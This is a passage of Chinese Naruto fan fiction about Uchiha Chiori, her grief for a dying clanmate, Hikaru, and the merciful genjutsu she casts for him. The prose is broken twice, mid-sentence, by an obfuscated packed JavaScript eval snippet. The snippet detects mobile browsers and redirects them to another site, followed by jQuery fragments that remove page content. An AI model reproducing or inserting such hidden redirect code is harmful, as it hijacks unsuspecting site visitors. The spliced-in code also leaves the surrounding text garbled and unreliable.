二长老点头表示自己知道了,神情比面对我时和颜悦色了不知道多少:“辛苦了,接下来先好好休息吧。” 族长家的三儿子紧紧地攥着拳,摇头看着老师。从我的方向看过去,他的眼睛里布满了血丝,满溢着令人心惊的仇恨。 “不用,老师,我想学更厉害的幻术。” 我轻轻后退了一步,他的样子有些吓人。 二长老突然抬头看向我的方向,我犹豫了一下,从暗处走出来,不知道该说什么,抓了下头发,问道:“我先回去?” “……”二长老痛苦地吐了一口气,指着他的另一个学生,“你送他回去,看着他,别让他去训练。” 啊这…… 他跟我哥一个年纪诶,他要跑我能看得住他? “老师!”不过提出不满的不是我,是他。 “现在不回去,以后就别叫我老师了。”老头子说起话来也是一等一的绝,不愧是我们宇智波。 最后我不得不看守他回族长家。 气氛实在尴尬,刚刚经历了战争,街上也没什么人,总有家庭破碎,此刻族里的氛围很是低沉。 我们并排走着,他又一声不吭,微微垂着头,身上的冷意感觉能把走他旁边的我冻死。 再不说话我真的要被冻死了:“……你还好吧?” 我这个问题似乎闯了大祸。 本来一直紧绷着的他突然停下了脚步,身体颤抖了起来。 我回头看他,注意到他在流眼泪。 完了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13107845|138195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>我想。 “……弟弟他,死掉了。”他的声线颤抖着,忍着不泄露出自己的哭声。 可是怎么可能不泄露。 我突然就想起了那一天。 我呆呆地看着火核,火核把手帕糊在我的脸上,告诉我没有被看见就可以哭。 忍者不可以哭泣。 这世上要是有什么最坚硬的最冰冷的东西,大概就是忍者的心肠吧。 差点死掉不可以哭,亲人朋友死掉不可以哭,做了自己不想做的事也不可以哭。 为了完成任务什么重要的东西都必须舍弃。 没有人关心忍者们怎么想,忍者自己也不可以关心,因为这是忍者的准则。 忍者是锋利的刀剑,是活着行走的武器。 我告诉自己不可以这么做。 ——宇智波千织,你不可以这么做。 ——宇智波千织,他是注定会死掉的人。 ——宇智波千织,不要把感情浪费在这上面。 但是身体还是控制不住,就像遇袭那一天,身体自己就动起来了,喉咙的肌肉也不受控制地操纵着声带的震动。 我向着眼前这个注定会死在某场战争、最后在漫画里被总结为“我家有5兄弟……曾经。”中的曾经里的一员走了过去,掏出手帕递了过去。 “只要不被看见,不被听见,就不算哭。” 这个失去了亲人的孩子,就在刚才,还保持着冷静,向老师汇报了这次战争的情况。 在训练场总是能按着别的小孩打的族长家孩子伸出手,却连续抓空了好几次,才抓住我手中的帕子,接了过去。 “谢谢。”他的声音有些沙哑,听起来闷闷的。 “没什么,我哥之前……”我刚说了一半,就觉得不妥,万一被大人们知道了,火核肯定会被教训,于是改口道,“你刚才什么都没听到。” “嗯。” 因为刚才想起了火核,所以我又问:“我哥怎么样,你看到他了吗?” 他抓着帕子的手突然紧了一下,搞得我以为火核出事了,结果就听到他说:“他很好,回家了。” 我松了口气。 他整张脸埋在帕子里,好久没动静,我有点但心:“你还好吧?” 我刚问完,他便颤抖了一下,然后抬起头看我,手臂垂落到身侧,攥着我的手帕,语气也恢复了正常,只是声音听起来还有几分沙哑:“我没事。” “那就快走吧,我还要回去找我哥。”我催促道。 他本来已经点了下头,往前走了,却又突然停下看我。 我疑惑地回望他。 “宇智波千织,我……”他开口,漆黑的眼睛里全是复杂到我辨不出来的情绪,我下意识感觉不太好地退后一步,他顿了一下,然后转过头开口,“你回去吧,手帕我明天还你。” 我直觉他刚才想说的绝对不是这句话,却下意识不敢去问。 我的感觉向来很准,所以我相信它,但是却也不能就这么走了,认真道:“老师说了,我得看着你进家门。” 刚才还让我有些警惕的人突然像是放松了下来一样,他叹了口气,让步:“好吧。” 回家后我把这事和火核说了。 他听了之后摸了摸我的脑袋:“怎么办,千织,你这样我很担心你出门会被打啊。” “啊?” “你当着一个刚刚失去了弟弟的人面说什么呢,在向他炫耀我还活着吗?” 我:“……” 天地可鉴,我绝对没有这样想。 “不过,族长家的三儿子?你还没记住他的名字吗?” 我还在因为刚才火核指出的事实发呆,听见他的问题随意点了下头。 这是原则问题。 思绪分散的我没有注意到火核眼中一闪而过的忧虑。 5. 名字 第二天族长家的三儿子在课前把手帕还给了我。 “辛苦了……咦,干得怎么快吗?”我收回手帕,有些疑惑。 他回答道:“洗完用了火遁烘干。” 这是技术活,要控制火遁的大小和持续时间。至少现在的我做不到。 我有些惊讶,他不太好意思地露出了个微笑,只是转眼神色又沉郁了下来:“我找哥哥帮忙了,我的火遁还比较容易失控。” ……有点奇怪。 比起未来族长竟然帮忙烘干了我的帕子这件事,我更加疑惑的是他的态度。 按照昨天火核的说法,他不是应该讨厌我吗,还我手帕后就该继续保持他那副冷淡的样子了啊。 想不通,不想了。 “对了,千织,”他突然出声,抿了抿唇,很认真地和我说,“我叫辉。” “……”我一口气差点没上来,惊恐地看着他。 这个家伙怎么知道我没记他的名字! 我僵硬地点了下头,嘴硬道:“我知道。” “嗯。”他只是垂下眼眸,没说话,回头继续研究幻术去了。 刚好老师也来了,这次我活着回来的同学就只有两个,老师的学生惨遭减半。 所以说就算有天赋又怎么样,小孩子想活着下战场真的大部分只能靠运气。 未来族长和隔壁千手家未来的族长不算,他们俩的实力真的很恐怖,小小年纪对战成年忍者都不在话下。 例行上完课,其它同学们都走了,三子还留在房间里,执着地看着老师。 我想起来了,三子同学昨天找老师要学更厉害的忍术。 “算了,你们一家子都是倔脾气,”二长老叹气,终于松了口,“只是你们现在的年龄,实在不适合用这些幻术。” 他的回答很冷静:“在战场上多一个绝招总比没有好。” 逻辑没问题,老师又看向我准备赶我出去。 “……万一我在外面不小心遇到敌人了呢?” 这也是有可能发生的,老师和火核一样喜欢叹气,但是我还是跟着学了新的幻术。 老师真好。 这之后不久就是族人的集体葬礼,很多战亡的族人连全尸都没有留下,可是现场没有一丝哭声。 这不是我第一次参加战后的葬礼,但依旧不能适应这样的场景。 站在我身旁的火核牵住了的手,我才意识到自己手掌发凉。 “我会保护你的,千织。”他望着故去的族人们林立的墓碑说道。 声音很轻,但很坚定。 我顿了下,转头看他,然后轻轻回握了回去。 “比起在族地里的我,更危险的明明是你吧?”我抿着唇,很严肃地对他说道,“你要在战场上保护好自己,哥哥。” 我是不会哭的,不会像族长家的三子那样因为兄弟的去世哭泣。 只要把自己的心变得很小很小,装不下其他人,就不会受到伤害。 脑袋又被火核按住,他的力气有些大,似乎在生气。 “还是个小孩子啊。” 十岁都不到的他在说什么胡话啊。 这之后族中便平静起来,该做任务的做任务,不做任务的在族中度日。不上课的时候,我也会接些危险度不会太高的团体任务补贴家用,保证身手没有退化,也在实战中练习幻术。 时光呼啸而过,日子似乎和之前没有什么差别,但还是有了一些改变。 当初我或许不应该递出那张手帕。 族长家的三子变得有些难缠起来。 他开始会为了表达友好送我一些礼物。 一开始是一看就是从外面买回来的东西,但我流露出不感兴趣的态度并拒绝后,他便改变了策略。 他从家中带来了一些忍术卷轴,问我要不要一起学习。 说实话,虽然知道在生存压力的竞争下族中在提升战力方面不会藏私,但我还是很好奇族长家的收藏。 没办法拒绝。 但我显然不能就这么白白接受他的礼物,尤其是身上还背着一个我不怎么喜欢的婚约的时候。 我旁敲侧击打听过,族长并没有向他的孩子透露过定亲这回事,所以我最好也装作什么都不知道。 作为忍术的交换,我提出和他互助幻术。 大概是我的态度有些明显地表示出了“我的幻术比你好”的信息,我的同窗有那么一瞬间表情僵硬了起来,但很快他恢复了平日里那副不苟言笑的模样,避开了我的目光微微点头:“嗯,好啊。” 我就说,没有宇智波能够拒绝变强的道路,就算他比我大也是这样。 不过不知道为什么,他没有像泉奈那样问我是如何开眼的,大概已经从泉奈那里知道了。 幻术是一项极其精细的技能,甚至能说得上是艺术。 它不依赖结印,而是通过声音、光线、动作等暗示来诱导欺骗对方的大脑,让对方沉浸在幻术师所编制的图景当中,甚至操控对方。 我们一族的血继更是方便,甚至能省去那些前期的诱导直接通过目光对视触发幻术。 编织幻术、识别幻术、挣脱幻术,都是我们的练习内容。 这种练习很容易出现危险,我们一般都是在二长老的监督下练习的。 刚开始练习幻术的时候,我犯了一个错误。 在将族长家的三子拉入幻术中的时候,为了直接获胜,我编织出了火山爆发的内容,但凡他精神露出半点破绽,我就能将他踹出幻术宣布自己的获胜。 他转瞬间便反应过来,明白自己陷入幻术,解了开来。 “什么……?” 就在我不解的时候,他突然握着苦无朝我攻击了过来。我踹开身前碍事的桌子拔出苦无应战,转头找老师告状他突然出手伤人,老师却一言不发。 “……不对。”出现这种情况,老师早就暴跳如雷了,虽然他跳不起来,但也不妨碍他教训我们。 我意识到这也是幻术,连忙挣脱了出来。 房间还是那个房间,什么都没有变化,老师在一旁看着我们,三子坐在我的对面。 “千织,幻术并不是构建得足够真实就够了。你构建的幻术确实足够真实,但是与现实差异太大,任何有经验的忍者都会明白自己陷入了幻术,”二长老点评道,“要欺骗忍者的大脑,需要足够隐蔽。” 我想了想刚才三子的幻术。 确实,只要仔细观察,他的幻术中还是有不少粗糙的漏洞,但是因为他的幻术就是当下的场景,我一个没注意就着道了。 不过我们比拼幻术并没有太限制挣脱幻术的方式,真正的战斗中,就算识别了我们的幻术,也不是那么容易解开的。 我想起月读的情况,又问:“如果能保证敌人无法解开幻术,那么幻术中的内容再离谱也能伤害到对方吧?” 幻术中的伤害是精神上的,就算识别了幻术,该感到疼痛的依旧会感到疼痛。 “理论是这样,但能做到这一点的幻术并不存在,”二长老说道这里,犹豫了一下,推翻 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“我们好歹也是同学啊。” “好吧,我记住了。” “……”他似乎看出我在敷衍他,也不是很在意地笑了笑,“好吧,我叫辉,千织。” 我嗯嗯表示知道,然后与他同时转身,往家的方向走。 在火核那里时,我总是用“族长家的三儿子”、“老师那边那个家伙”、“那个家伙”、“就是那个宇智波”类似的称呼来指代他。 火核十分不解:“你用这么多外号来称呼他,也不愿意记住他的名字吗?” “记不住,我也没有办法嘛。”我有些心虚。 “真的吗?”他一脸狐疑,顿了顿又问,“我叫什么名字?” 我瞪着他:“我当然记得你的名字,你明明知道的。” 火核松了一口气,点头。 “你讨厌他吗?”他很认真地看着我,“如果真的这么讨厌他,已经成为你的困扰了,那么就和二长老说一声,错开你们的授课时间吧。” “……” “千织?”火核叫我的名字。 “……太麻烦二长老了。”我不情愿地说道。 “还真是啊……二长老会体谅你的,他很喜欢你这个学生。”火核似乎误会了什么,他摸了摸我的头,站起身来。 我连忙扯住他的袖子:“你要去做什么?” 他皱着眉,露出理所当然的表情:“当然是去拜访二长老……你要和我一起去吗?” 完了,他似乎误会得更深了。 我连忙摇头,死死拽住他的袖子。 “怎么了,千织?” “……没有。”我挤出一个词。 他显得有些疑惑:“什么没有?” 我决定讨厌火核一个晚上。 我转过头,看着被夕阳染黄的院子,吞吞吐吐道:“……没有那么讨厌……那个家伙。” 火核还是不太相信:“真的吗?” 我深深吸了一口气,瞪住他:“别问了!再问的话我就讨厌你了!讨厌你整整一年!” 火核露出了惊诧的表情,显得有些无措。 “呃……”他的另一只手放在我的脑袋上,安抚性地拍拍,动作有些局促,“好好好,我不问了,千织,你先把写轮眼收起来。” 我愣住了,仓促地收回瞳力。 6. 伤重 这之后我又陆陆续续做了些任务,手上不可避免地沾染了越来越多的鲜血。 这些任务和上战场比起来,也就多了些安全性,但性质并没什么不同,我有些惧怕自己在面对这些事的变化。 族中也陆陆续续地接了好几次战争雇佣。 火核和三子的关系似乎本来就不错,毕竟我曾见过他们走在一起说话,有时候我会想我是不是影响了他们的关系。 当我把这个忧虑说给火核听的时候,他的语气有些凉:“要是他欺负你了,我当然不会放过他,就算他是族长大人的儿子。” 然后他问我:“他欺负你了?” “……”看着火核微微眯起的眼睛,我连忙摇头,可不能让人无缘无故背黑锅。 好几次送别火核上战场时,三子都和火核一个出发批次,只是没分在一个队里。 经常我和火核说着话,就会看见他往这边走,然后火核就会给我个眼神,走到一旁拦他,问他怎么了,给我离开的空隙。 火核总和我说不用送他,但我觉得这是一个必要的流程。 “你要活着回来,哥。”我望着他说。 于是火核原本严肃的、显得有些冷厉的表情便会柔和不少:“嗯,我会的。” 我八岁那年,火核和他十岁。 那次他们出发的时候,我去门口找火核,还没找到他,三子就来了。 “你哥在和泉奈说话,他们分在一队了。”三子从身后拍了下我的肩,给我指了下方向。 我道了声谢向那边看去,火核正背对着我,和泉奈说着什么,只看泉奈的表情,他们似乎在说什么很重要的事。 出发的时间要到了,我想了想,还是不准备过去了。 刚打算离开,三子便拉住了我的手腕:“等等,千织。” 我疑惑地看向他。 他张了张唇,似乎想说什么,但又有些颓丧地垂下头松开了我的手。 毕竟是这么久的同学了,我犹豫了一下,还是道:“武运昌隆。” 他倏地抬起头。 “我先回去了。” “你能不能……” 我们的声音同时响起。他话没说完,但又顿住了。 我微微皱眉,这个句式,万一成flag就不好了。 他微垂着眸打量我的表情,似乎误会了什么,突然抿起唇:“不,没什么,我走了。” 我望着他转身的背影,眨了下眼睛,心里的感觉有些怪。 这时远处的火核终于转身看见了我,他往这边走来,但出发的命令也传达下来。 他停下脚步,我远远朝他挥了挥手,他也就点头表示自己看到了。 后来我将那股很怪的感觉归结为不祥的预感。 这一年我已经在二长老的指导下开始处理部分族务了,那些基本都是小事,轮不到送去族长大人那去处理,却也必须有人放在心上。 那天我练完幻术,正在二长老那里处理族务,之前出发的部队回来了。 二长老说我可以先回去看哥哥,我表示我可以先处理掉这些文件。 “你以前可不是这样。”他有些纳闷。 “尽可能地处理完这些文件,我想让大家的负担轻一些。”战争结束后的事务繁琐、令人悲伤,既然留在了安稳的后方,总归是做些事回报大家一二的。 二长老愣了好一会儿,才有些怀念道:“你们这些孩子,好像总是一不留神,就长大了。” “恕我提醒您,我也是忍者。”我很认真地重申了一遍自己的身份。 从二长老那里出来,我去找火核。 他呆呆坐在自家的檐廊下,战甲也没卸,身上还残留着一股铁锈味,有些失魂落魄地盯着院墙上的族徽,仿佛上面长了朵花。 我第一次见他这样,停在走廊尽头眨了眨眼,没敢过去。 如果是往常,他肯定已经发现我来了,但是这次他没有。 他还在发呆。 “……哥哥?”最后,我轻轻走到他身边,小心翼翼碰了下他的肩,“你受伤了?” 他这才回过神,猛地转头看了过来,在看清我后放松了刚才突然暴起的杀气。 “啊,千织,是你啊,抱歉,我没注意到你。” 他看起来疲惫极了,我从来没见过这样的他,于是蹲下身看着他:“哥哥,你怎么了?” 火核看了我一眼,极快地转过头,似乎想要逃避某个现实般,声音快得几乎听不清:“撤退的时候,我们遇到了千手的埋伏。” “辉他们队赶来救援,为了救泉奈,他受了重伤。” 我下意识屏住呼吸,轻轻眨了下眼睛。 好奇怪,这种感觉真的好奇怪。 火核声音还在继续,他似乎想起了我不记人名的习惯:“啊,你不记得,辉是……” “别说了。”我打断他,站了起来。 我不想知道他是谁,一点也不想知道。 火核的表情似乎很诧异。 他熟悉的面孔让我感到恐惧,我跑回了家里,把他的呼声甩在了身后。 妈妈看见我回家,正要说什么,就注意到我的表情。 她愣了一下,柔声问我:“千织,发生什么了?” 我再也忍不住,扑上去抱住了她,这时才发现原来自己的身体一直在颤抖。 “怎么了?”妈妈拍拍我的背,问道。 我紧紧拽着她的衣角,在她的怀里摇了摇头:“妈妈,我什么都不想知道,我真的一点都不想知道。” 抱住我的人似乎顿了一下,而后“嗯”了一声,声音温柔:“嗯,妈妈在这里,千织什么都不用想。” 背上的手是抱着小时候的我的手,她一下一下地顺着我的背脊安抚着,让我慢慢冷静了下来。 “要休息吗?千织。”妈妈抱着我回了房间,问道。 我拉着她,不让她离开,轻轻点了下头。 第二天一早,我谁也没找,径直去族里的医疗所打听消息。 战争的伤患此刻都在这里。 “辉那小子?还在抢救,伤得太重了。”一位药师给我治了方向,又摇摇头叹气。 我顺着指示走过外间伤势没有那么重的族人们,继续往里走。 越往里,病人的伤势就越严重,病房中的人也越少。 惨叫的声音逐渐小了,我停下脚步。 前方的走廊,有两个熟悉的人坐在一扇紧闭的门前。 是未来族长和他的另一个弟弟。 我走过去的声音很轻,但斑立刻就看了过来,身上凌冽的杀气激得我寒毛倒竖。 泉奈坐在他身侧,垂首死死攥着拳头,似乎没有 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更难以让人忍受的是我只知道他会死,却不知道他会什么死,又因为什么而死。 所以只要不记住他的名字,我就不认识他。 只要不记得、不认识,就不会担心,不会有联系。 我明明不想记住的,可是那个家伙每次都要告诉我他叫什么,我怎么可能记不住。 现在更是想忘都忘不掉,那些记忆甚至更清晰了。 清晰到我连他和我说话的神情,我们的下一句是什么都清清楚楚。 身后的门开了,我们几个同时站起来看过去。 族医一开门看见门外又多了两个人,愣了一下才道:“伤得太重了,还为了用出自己无法用的术透支了身体,剩下的只能看他自己,如果撑不过去就是这两天的事。他刚醒过来,你们说几句话就回去吧。我去通知族长大人。” 这不是好消息。如果还有希望,族医不会放我们进去打扰病人养伤。 泉奈的脸色瞬间就白了起来,什么也顾不得地直接冲了进去,斑沉默地跟着弟弟进了房间。 我站在门外,火核问我不进去吗。 “你们先去吧,我……我在外面等等。”我不知道自己为什么要来,也不知道自己在等什么,更不知道自己进去了又能做什么。 在对方看来,我连他的名字都没记住过,想必他也不想看见我。 或许我本来就不该来这里。 火核也进去后,我坐在外面听着里面很小声的说话声。 他的声音太小了,小到我根本听不见他在说什么,只能听见他的兄长和弟弟的声音,然后我又听见了火核说话了。 火核没有在里面待太久,出来后他问了我要不要回家,我摇了摇头,他叹了口气就离开了。 又过了一会儿,红着眼眶的泉奈打开门。 “千织,哥哥想和你说会儿话。”泉奈说道。 我抬起头看他,愣了好半天才回过神,呆呆站起来应了声好,往房间里走去。 脑海中有个声音喊得我头疼,它在叫我别进去。 “你会后悔的。”那个声音不断地告诉我。 我在门边停了一下,轻微地眨了下眼睛,没管脑子里的声音,继续往前走。 7. 请求 屋里有着很浓郁的药味,只是闻着都让人感觉舌根发苦。 未来族长坐在三子的身侧,我犹豫了一下,没敢去找他说话,绕到另一边坐了下来,低头看他。 很难想象这和我印象里的他是同一个人,脸色灰败,全无健康时的神采,连睁眼这个动作似乎都万分费力。 我不知道该如何开口,也不知道说什么,只能伸手去握住他的手。 他的手也凉得可怕。 “千织。”他嘴唇微动,我低下头凑过去才听清他在叫我的名字。 “……我在。” 说话在此刻变成了一件对我而言也十分困难的事。 “抱歉,让你担心了。”他断断续续地和我说着,心中一开始的恐慌渐渐变成了什么更沉重的东西堆在我心头。 我想说你是谁啊,我完全没有担心,却一句话也说不出来。 “痛……”他皱了下眉。 我以为是手上不小心用力了,连忙松开他的手,只听得他轻哼了一声,喃喃道:“好难受,我大概要死了。” 大概是身上的伤。 “别这样说。”话音出口,我根本没法止住颤抖的声线。 “千织,我做到了,”他似乎完全没有听进我在说什么,或许他根本不知道自己在说什么,前言不搭后语,“我有好好保护弟弟……” 我想起他弟弟死去那场战争,他攥着我的手帕哭,说自己会保护好另一个弟弟,又和老师要求学更多厉害的幻术。 “笨蛋……”但你却没有保护好自己。 他又飞快地转变了话题,前言不搭后语,这种状况不太对,像是危急重症的情况。 我抬起眼看向他的兄弟。斑垂着头一言不发的样子让我预感不妙,后我一步进来的泉奈站在稍远的位置看着他伤重的哥哥,眼神中还带着一些因为哥哥未知的命运而染上的慌乱。 ——刚才的话泉奈应该没听见。 这么想着的同时,他注意到我的视线。我给他比了族中教授过的传讯暗号的手势让他叫族医过来。 他似乎明白了什么,眼睛睁大,脸色瞬时惨白起来,冲向了外面。 “你不要记得我以前的话,不要记得我的名字,全部都忘掉……我太自大了,以为能够……”这边,他还在和我说着类似临终遗言的话,“对不起,没能够活下来……” 很奇怪,听着这些话的时候,我似乎已经平静了很多,平静到我似乎可以一心二用和泉奈传递暗号的同时将他语序错乱的话语重新整合成完整的句子。 平静到没有在心中生出反驳的话语。 我认真地听着他的声音。 可就如他风中残烛的生命一般,他的声音也越发得飘忽。 “辉……”他突然说出了自己的名字,我愣了一下,此刻他似乎已经陷入了完全的谵妄,我已经彻底无法识别他想说的意思,“你的幻术……奇怪的幻境……千织……” 我突然想起有一次我们私下练习幻术的时候发生的事。 那时我们已经对对方的精神攻击熟悉了,老师也由着我们自己训练。 我和他争起了差异巨大的幻术内容到底有没有实战意义。 我们争执不下,便说幻术中见真章。 要构建一个差异巨大但又足够真实的幻术,我选择以过去的学校为蓝本的幻术将他拉了进去。 过去生活的世界在转瞬间就构建完成,因为我不止一次在入睡前为自己编织那个和平世界的幻术。 老师是知道我常常私下对自己用幻术的,他警告过我不要沉溺于自己的术。 历代有名的幻术师,大多死于自己的幻术。我告诉老师我明白,我只是为了锻炼自己的精神力,这也是我幻术学习进展能这么快的原因。 林立的高楼自幻术中显现出来,正值早高峰,拥堵的车流缓慢地前行着。 一旁人行道上,不少父母牵着自家孩子去市区的学校,还有些行人拎着早餐准备上班。 有几个不愿上学的孩子赖在校门口大哭,他们的家长有的好言劝哄,有的觉得被孩子下了面子在大庭广众之下丢人,大声斥责。 每个人都奔波在自己的路上,远离战争,最大的苦恼大概是工作日的塞车日益严重。 我看见三子正站在马路边缘,他第一次见到这种幻术场景,完全愣住了,打量着眼前的一切。 我当时有些得意地轻哼了一声,走到他身后,拍了下他的肩,他才反应过来,警惕地回头要和我拉开距离。 可他再退,就退到马路上了! 我连忙伸手拽住他把他拉回来,难得有些炫耀地看着他:“怎么样,宇智波君,被我抓住了吧?欢迎来到我的世界。” “要是实战,你刚才就已经完蛋了。” 他的表情充满了不可置信:“你每天就用幻术做这些东西?” “哈?太失礼了,给我道歉,这可是我这些年来的心血。”如果不是为了让他适应这里,我甚至不会对幻术内的场景做出改变。 “好了,宇智波同学,现在跟我来,你要迟到了。”我打断他还没说出口的话,一看表情就知道不是什么好话,我选择直接不听,拉着他就走。 一般的学校会穿校服,不过很难和他解释校服的概念,我就直接偷懒把学校改成木叶忍校的模式,拉着他过了校门口往班级走去。 他在我身后叽叽喳喳:“什么迟到啊,你不要突然拉着我参观,无论多奇怪也只是幻术而已,我们的目的不是比试吗?” “闭嘴啦,你刚才就输了!” 这个时候已经有班级开始早读,教学楼里已经充斥着琅琅书声。 我随手把他放在一个班级门口,他还没找到状态,教室里的老师就走了出来,看见他在发愣。 “宇智波同学,”老师是个年轻男人,脸上带着副眼镜,看向他的目光有些不满,“你迟到了,快点进来。” 宇智波同学一脸“你谁啊”的状态被老师拉到门内,我慢吞吞跟进去。 他突然回神,按理说作为忍者他本该挣脱开来寻找解开幻术的方法,他却愤怒地看着我:“为什么他就不找你。” 而且,幻术中的人都是假的,他却没生起过伤害他们的想法,直接被老师带到座位上坐着。 因为我是幻术的主人,只要我想他们眼中的我就不存在啊。 我坐在一旁的空桌子上大笑出声,另一边的老师还在问他:“宇智波同学,你在和谁说话?” 班上其他同学也好奇地望向他,停止了读书声。 他似乎真的忘记自己是个可以瞬间逃离这里的忍者了,在无数双好奇的眼睛注视下脸涨得通红,最后说道:“没有,老师,我刚才看错了。” 我走到他旁边,他的桌上突然出现了其他学生们拿着的课本。我憋着笑清了清嗓子:“宇智波同学,该读书了。” 他狠狠瞪了我一眼,跟着一起翻开书,学着其他人一起读着忍术结印顺序—— ——再逼真的幻术也受制施术者的认知,我自然没办法给他变本正常教材来。 早读结束,我终于受不了地解开幻术,蹲在院子里疯狂大笑。 “差不多得了!”他站在我面前大声吼道,破罐子破摔地,“别笑了,你赢了!你的幻术比我厉害!” 老师刚好出来,见状奇道:“发生什么了?” “没什么。”他立刻站好,满脸通红,却半句不提刚才的事。 我举起手:“刚才我们比幻术,我赢啦。” “哼,心狠手辣的敌人才不会被这么柔软的幻术困住。”他低声反驳了一句。 “我是知道你的为人才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13107848|138195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挑了这个幻术呀,其他人我自有应对方式。” 不过后面他私下问我那个幻术的内容是什么情况。 我和他说那是我希望的世界的样子,他当时愣了很久。 “那为什么愿意给我看呢?”他又问我。 我当时被他问得卡住了思绪,半天想不出答案。 他见我迟迟不答,也没有追问下去,只说自己知道了,还说他不会告诉其他人。 我也不知道他知道了什么莫名其妙的东西,所以我问了他。 他当时对我笑了笑,妄图用夸奖转移话题:“千织是个温柔的人。人是这样,幻术也是这样,如果你能一直这样就好了。” 温柔? “你这话我哥都说不出来。”我对着给我戴高帽的他冷酷指出现实和他话语的差异。 他没有和我争论这个问题,而是问我:“千织,可以记住我的名字吗?” 当时的我别过了头。 别以为夸了我就能让我动摇。 “你的幻术这么厉害,想要记一个人的名字明明是很轻松的事。” “胡说,这是最困难的事。” 他竟然也跟着点点头:“或许是吧。” 我惊诧地看向他。 他抬起手,我见状不妙地躲开他薅我脑袋的魔爪,他的手指只擦边触到了一丝耳发。 “你干什么?”我警惕地问道。 他弯了弯唇,忍不住笑了一声,可脸上的笑意转眼就淡了:“千织,前几天我去了医疗所。” “很可怕,快死的时候,真的很可怕。痛苦、丧失对自己的控制,变得不再像自己。”他垂下手,目光淡淡地看着自己的影子。 他的语气有些犹疑,然后如同下定决心般,道:“要是我有一天也变成那样,你能不能对我用幻术?” 我大感荒谬:“你在说什么胡话?” “我没有开玩笑,就是你之前对我用的那个幻术,真的有那一天,就让我在那个世界里安祥死去吧。”他的表情认真得我害怕。 我觉得我之前小看了他。 果然我们宇智波总有能疯的点,连看起来正常的他也能说出这种恐怖的话。 我警告他:“老师要是知道会骂死你的。你身为他的弟子居然会沉溺于幻术!” “……我以前也想过,如果没有战争,这个世界会是什么样。” “总之你别想!老师会打断我腿的!你倒是给我有点信心,怎么会去想自己变成那样啊!”我当时严词拒绝了他,也不知道是在躲避什么地跑掉了。 这件事之后,他没有再提,我也就忘记了这回事,但那之后他似乎也没有再问过我有没有记住他的名字了。 ——好难受,我大概要死了。 ——可以记住我的名字吗? ——要是我有一天也变成那样,你能不能对我用幻术? 我看着目光涣散的他,鬼使神差地明白了他的意思。 这个混蛋! 我听着他不断地重复着我的名字,手不住地颤抖,轻轻抚上了他的脸颊。 猩红的颜色覆盖上虹膜,瞳力在眼中不断涌动着。 我希望坐在他身边的斑能够阻止我,可是我只能感受未来族长的视线淡淡落到我的身上,没有丝毫制止之意。 对啊,他肯定已经和他哥哥说过了。 “看着我,辉。”我轻轻转动他的头,让他的视线对上我的。 ——哥哥! 我似乎听见了另一个耳熟的声音自身后传来,凌冽的杀气刚一出现就被未来族长压下。 但我已经无力去思考其他东西,涌动中的瞳力旋转起来,如同烙印般印在我的眼中,在明白自己多了一颗勾玉的同时,曾经施展过的、但更完善的幻术顺着瞳力侵入了对视之人的精神世界—— 8. 梦境 “辉——” “哥哥——” 好多人在叫他的名字。 他睁开眼,看见自己的兄弟们。 死去的大哥、还活着的二哥、还有他想要保护的两个弟弟,他们穿着宽松但形制新式的衣服,都守在他床边看着他。 他轻轻眨了下眼睛,想了起来,他快死了。 那个嘴硬心软的孩子还是实现了他的愿望。 而且,幻术是由施术者控制的—— 她记得他的名字。 他想起临出发前那点突如其来的不安,他找到她,想问她可不可以叫一次他的名字,最后关头却羞于启齿。 这样的请求实在太奇怪了,会被她嘲笑吧。 而且她的表情看起来也不是很想和他说话,毕竟那家伙只会关心她的哥哥。 火核也就比他运气好些,占了血缘上的便宜罢了。 虽然他因为这个想法被火核追着挑战对练了好几次,那家伙总爱往他脸上招呼,真不知道他在想什么,他只是想当他妹妹的哥哥而已,又不是想抢走他的妹妹! 他躺在和室中,缓缓起身,之前被重伤的背脊胸腹仍传来阵阵隐痛。 “怎么了?”他问道,而后就着兄长和弟弟们的一脸张张看过去。 ——以后再也看不到了。 “妈妈让我们来找你啦,奏叔家的千织在门口等你,你们不是约好了吗?”说话的是最小的弟弟泉奈,弟弟和他最后一次见面时完全不一样,他的语气中有些担心,“结果怎么喊都喊不醒,我们就进来叫你啦。” “这样吗?我好像有点睡糊涂了。”他揉了揉额头,苦笑了一声,想起上一次幻术里被千织整蛊,不知道这一次她又要搞什么。 “真的没事吗?实在不舒服的话我去和千织说一声。”早已去世的大哥关切地问道。 “不用了,我现在很好,马上就能过去,我要换衣服。”他眼巴巴地看着自己的兄弟们,希望他们能理解他的意思。 于是其他人笑的笑,嘟囔着的嘟囔,靠谱的大哥还是把他们带出了房间。他松了一口气,去翻衣服穿,然后—— 这都是些什么衣服啊! 好不容易换好衣服出来,他在客厅和爸爸妈妈们告别,走出了家门。 穿着常服的小姑娘等在门外,漆黑的长发垂落而下。她脸上有些许等待太久的不耐烦,见到他出来后她抱怨道:“你好慢啊,辉君。” 他站在门口,怔怔地看着千织。 这是真实的千织。 虽然他身在她的幻术当中,但他们彼此对练过太多次,已经熟悉到一看就能认出对方究竟是幻术体还是本人了。 眉梢微微挑起的女孩子注意到了他的愣神,轻轻啧了一声:“认出来了吗?” 他弯了弯唇,点头:“没办法,太熟悉了。” 他走到千织的面前,伸出手:“早上好,千织。这次我们要去哪里?” 